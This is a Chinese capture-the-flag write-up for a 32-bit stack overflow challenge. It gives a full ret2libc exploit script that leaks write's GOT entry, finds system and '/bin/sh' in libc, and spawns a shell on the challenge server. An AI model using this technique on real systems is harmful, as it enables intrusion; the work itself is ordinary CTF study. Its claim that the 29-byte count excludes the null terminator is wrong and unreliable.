look(write+ret2libc)
题目:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
Start();
write(1, "Let's look at this question\n", 0x1Du);
return 0;
}
ssize_t Start()
{
char buf[108]; // [esp+Ch] [ebp-6Ch] BYREF
return read(0, buf, 0xC8u);
}
思路:
栈溢出->利用write泄露其got地址->计算libc基地址、system和/bin/sh地址->返回start->再次栈溢出->执行system->0->sh->shell
script:
from pwn import *
from LibcSearcher import *
#r = process("./look")
r = remote("1.95.36.136", 2073)
elf = ELF("./look")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
start = 0x8048561
payload = b'a'*(0x6c+4)+p32(write_plt)+p32(start)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write = u32(r.recv())
print("write>>>",hex(write))
Libc = LibcSearcher("write",write)
libc = write - Libc.dump("write")
sys = libc + Libc.dump("system")
sh = libc + Libc.dump("str_bin_sh")
payload = b'a'*(0x6c+4)+p32(sys)+p32(0)+p32(sh)
r.sendline(payload)
r.interactive()
write 函数:
#include <unistd.h>
ssize_t write(int filedes, const void *buf, size_t nbytes);
filedes:文件描述符,是一个非负整数,用于标识要写入数据的文件或设备。
buf:指向要写入数据的缓冲区的指针。
nbytes:要写入的字节数。
对于 write(1, "Let's look at this question\n", 0x1Du); 这行代码:
文件描述符 1:在 Unix/Linux 系统中,文件描述符 0、1、2 分别对应标准输入(stdin)、标准输出(stdout)和标准错误输出(stderr)。因此,这里的 1 表示标准输出,即数据将被写入到终端屏幕上。
缓冲区 buf:"Let's look at this question\n" 是一个字符串常量,它存储了要写入的数据。在 C 语言中,字符串常量实际上是一个指向字符数组的指针,该数组包含了字符串的所有字符以及一个终止符 '\0'。
字节数 nbytes:0x1Du 是一个十六进制数,转换为十进制是 29。这表示要从缓冲区中写入 29 个字节的数据。注意,这里的字节数不包括字符串的终止符 '\0'。